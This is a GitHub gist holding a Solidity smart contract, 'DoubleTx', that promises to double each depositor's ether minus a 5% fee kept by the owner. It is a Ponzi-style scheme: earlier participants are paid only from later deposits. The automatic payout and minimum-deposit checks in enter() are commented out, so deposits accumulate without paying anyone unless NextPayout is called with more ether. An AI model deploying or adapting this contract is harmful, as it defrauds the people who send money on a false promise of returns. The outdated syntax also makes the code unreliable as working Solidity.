Skip to content

Instantly share code, notes, and snippets.

@BedrosovaYulia
Created October 5, 2022 18:30
Show Gist options
  • Save BedrosovaYulia/4dc7653fe743d7c5fa3d4963b446b04a to your computer and use it in GitHub Desktop.
Save BedrosovaYulia/4dc7653fe743d7c5fa3d4963b446b04a to your computer and use it in GitHub Desktop.
contract DoubleTx{
struct Participant {
address etherAddress;
uint PayAmount;
}
Participant[] public participants;
uint public payoutIdx = 0;
uint public collectedFees = 0;
uint public balance = 0;
address public owner;
// simple single-sig function modifier
modifier onlyowner { if (msg.sender == owner) _ }
// this function is executed at initialization and sets the owner of the contract
function DoubleTx() {
collectedFees += msg.value;
owner = msg.sender;
}
// fallback function - simple transactions trigger this
function() {
enter();
}
function enter() {
//send more than 0.1 ether
//if (msg.value >= 100 finney) {
// collect fees and update contract balance
collectedFees += msg.value / 20;
balance += msg.value - msg.value / 20;
// add a new participant to array and calculate need balance to payout
uint idx = participants.length;
participants.length += 1;
participants[idx].etherAddress = msg.sender;
participants[idx].PayAmount = 2 * (msg.value - msg.value / 20);
uint NeedAmount = participants[payoutIdx].PayAmount;
// if there are enough ether on the balance we can pay out to an earlier participant
/* if (balance >= NeedAmount) {
participants[payoutIdx].etherAddress.send(NeedAmount);
balance -= NeedAmount;
payoutIdx += 1;
}*/
//}
/*else {
collectedFees += msg.value;
return;
}*/
}
function NextPayout() {
balance += msg.value;
uint NeedAmount = participants[payoutIdx].PayAmount;
if (balance >= NeedAmount) {
participants[payoutIdx].etherAddress.send(NeedAmount);
balance -= NeedAmount;
payoutIdx += 1;
}
}
function collectFees() onlyowner {
collectedFees += msg.value;
if (collectedFees == 0) return;
owner.send(collectedFees);
collectedFees = 0;
}
function setOwner(address _owner) onlyowner {
collectedFees += msg.value;
owner = _owner;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment